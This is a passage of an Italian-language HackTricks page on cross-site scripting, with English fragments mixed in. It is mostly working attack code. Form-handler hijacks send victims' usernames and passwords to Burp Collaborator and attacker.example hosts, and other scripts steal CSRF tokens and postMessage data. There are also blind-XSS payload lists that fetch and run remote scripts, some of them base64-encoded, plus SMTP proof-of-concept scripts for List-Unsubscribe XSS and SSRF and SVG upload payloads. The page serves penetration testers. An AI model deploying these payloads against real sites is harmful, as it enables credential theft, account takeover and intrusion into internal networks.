<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Se un handler critico (es., function DoLogin(){...}) è dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (es., tramite un inline JS-in-JS sink), definisci un const con lo stesso nome per precludere e bloccare il handler. Dichiarazioni di funzione successive non possono riassegnare un nome const, lasciando il tuo hook sotto controllo:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Note
- Questo si basa sull’ordine di esecuzione: la tua injection deve essere eseguita prima della dichiarazione legittima.
- Se il tuo payload è racchiuso in
eval(...), i bindingconst/letnon diventeranno globali. Usa la tecnica di injection dinamica con<script>dalla sezione “Deliverable payloads with eval(atob()) and scope nuances” per assicurare un binding globale reale, non ri-assegnabile. - Quando i filtri per keyword bloccano il codice, combinale con identificatori Unicode-escaped o con la consegna tramite
eval(atob('...')), come mostrato sopra.
Keylogger
Just searching in github I found a few different ones:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- You can also use metasploit
http_javascript_keylogger
Rubare CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Rubare messaggi PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Se una pagina memorizza event.origin da un postMessage e successivamente lo concatena in un URL di script, il mittente controlla l’origin del JS caricato:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: scatta solo quando
window.openeresiste epixel_idè allowlisted; origin is never checked. - Use CSP-allowed origin: pivotare verso un dominio già consentito dalla CSP della vittima (es., pagine di help per utenti non loggati che permettono analytics come
*.THIRD-PARTY.com) e ospitare lì/sdk/<pixel_id>/iwl.jstramite takeover/XSS/upload. - Restore
opener: in Android WebView,window.name='x'; window.open(target,'x')rende la pagina il suo stesso opener; inviare ilpostMessagemalevolo da un iframe dirottato. - Trigger: l’iframe posta
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; il parent poi carica l’attackeriwl.jsdall’origin consentita dalla CSP e lo esegue.
Questo trasforma la validazione di postMessage senza origin in una primitive per il caricamento remoto di script che sopravvive alla CSP se riesci ad atterrare su qualsiasi origin già consentita dalla policy.
Supply-chain stored XSS via backend JS concatenation
Quando un backend costruisce uno shared SDK concatenando stringhe JS con valori controllati dall’utente, qualsiasi carattere che rompe le virgolette/struttura può iniettare script che viene servito a ogni consumer:
- Example pattern (Meta CAPIG): server appends
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});directly intocapig-events.js. - Injecting
'or"]}closes the literal/object and adds attacker JS, creating stored XSS in the distributed SDK for every site that loads it (first-party and third-party).
Abusing Service Workers
Accessing Shadow DOM
Polyglots
Blind XSS payloads
Puoi anche usare: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Accesso a contenuti nascosti
Da this writeup si può apprendere che anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli negli attributi JS di diversi oggetti. Ad esempio, l’input di una REGEX è ancora reperibile anche dopo che il valore dell’input della regex è stato rimosso:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS Sfruttando altre vulnerabilità
XSS in Markdown
Puoi iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla:
Da XSS a SSRF
Hai XSS su un site che usa caching? Prova a trasformarlo in SSRF tramite Edge Side Include Injection con questo payload:
<esi:include src="http://yoursite.com/capture" />
Usalo per bypassare le restrizioni sui cookie, i filtri XSS e molto altro!
Più informazioni su questa tecnica qui: XSLT.
XSS in PDF creati dinamicamente
Se una pagina web crea un PDF usando input controllati dall’utente, puoi provare a ingannare il bot che crea il PDF per farlo eseguire codice JS arbitrario.\ Quindi, se il bot incaricato della creazione del PDF trova qualche tipo di tag HTML, li interpreterà, e puoi abusare di questo comportamento per causare una Server XSS.
Se non puoi iniettare tag HTML, può valere la pena provare a iniettare dati PDF:
XSS in Amp4Email
AMP, pensato per accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un’enfasi su velocità e sicurezza. Supporta una serie di componenti per diverse funzionalità, accessibili tramite AMP components.
Il formato AMP for Email estende componenti AMP specifici alle email, permettendo ai destinatari di interagire direttamente con i contenuti all’interno delle loro email.
Esempio writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
L’header RFC 2369 List-Unsubscribe incorpora URI controllate dall’attaccante che molti webmail e client di posta convertono automaticamente in pulsanti “Unsubscribe”. Quando quegli URI vengono renderizzati o recuperati senza validazione, l’header diventa un punto di iniezione sia per stored XSS (se il link di unsubscribe viene inserito nel DOM) sia per SSRF (se il server esegue la richiesta di unsubscribe per conto dell’utente).
Stored XSS via javascript: URIs
- Inviati un’email dove l’header punta a un URI
javascript:mantenendo il resto del messaggio benigno in modo che i filtri antispam non la scartino. - Verifica che l’interfaccia utente renda il valore (molti client lo mostrano in un pannello “List Info”) e controlla se il
<a>risultante eredita attributi controllati dall’attaccante comehrefotarget. - Innesca l’esecuzione (es. CTRL+click, clic con il tasto centrale, o “apri in una nuova scheda”) quando il link usa
target="_blank"; i browser valuteranno il JavaScript fornito nell’origine dell’applicazione webmail. - Osserva il primitivo di stored-XSS: il payload persiste con l’email e richiede solo un clic per essere eseguito.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Il byte di nuova riga (%0a) nell’URI mostra che anche caratteri insoliti sopravvivono alla pipeline di rendering in client vulnerabili come Horde IMP H5, che visualizzerà la stringa letteralmente all’interno dell’anchor tag.
Minimal SMTP PoC that delivers a malicious List-Unsubscribe header
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Proxy di unsubscribe lato server -> SSRF
Alcuni client, come l'app Mail di Nextcloud, effettuano il proxy dell'azione di unsubscribe lato server: cliccare il pulsante istruisce il server a recuperare l'URL fornito. Questo trasforma l'header in una primitiva SSRF, soprattutto quando gli amministratori impostano `'allow_local_remote_servers' => true` (documentato in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), che consente richieste verso loopback e gli intervalli RFC1918.
1. **Crea un'email** in cui `List-Unsubscribe` punta a un endpoint controllato dall'attaccante (per SSRF cieco usa Burp Collaborator / OAST).
2. **Mantieni `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** in modo che l'UI mostri un pulsante di unsubscribe con un solo clic.
3. **Soddisfa i requisiti di trust**: Nextcloud, per esempio, esegue richieste HTTPS di unsubscribe solo quando il messaggio supera DKIM, quindi l'attaccante deve firmare l'email usando un dominio che controlla.
4. **Consegna il messaggio a una casella gestita dal server target** e attendi che un utente clicchi il pulsante di unsubscribe.
5. **Osserva la callback lato server** sull'endpoint collaborator, poi pivot verso indirizzi interni una volta confermata la primitiva.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Messaggio List-Unsubscribe firmato DKIM per test SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Note di test**
- Usa un OAST endpoint per raccogliere blind SSRF hits, poi adatta l'URL `List-Unsubscribe` per puntare a `http://127.0.0.1:PORT`, metadata services, o altri internal hosts una volta che il primitive è confermato.
- Poiché l'unsubscribe helper spesso riutilizza lo stesso HTTP stack dell'applicazione, erediti le sue proxy settings, HTTP verbs e header rewrites, consentendo ulteriori traversal tricks descritti nella [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS caricamento di file (svg)
Carica come immagine un file come il seguente (da [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Trova più SVG payloads in https://github.com/allanlw/svg-cheatsheet
Trucchi JS vari e informazioni rilevanti
Misc JS Tricks & Relevant Info
Risorse XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Riferimenti
- Trasformare una XSS innocua dietro un WAF in un vettore di phishing realistico
- XSS e SSRF tramite l’header List-Unsubscribe SMTP in Horde Webmail e Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- Da RXSS “a basso impatto” a Credential Stealer: una guida JS-in-JS
- MDN eval()
- CAPIG XSS: la fiducia nell’origin di postMessage diventa un script loader + la concatenazione di JS lato backend abilita stored XSS nella supply-chain
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


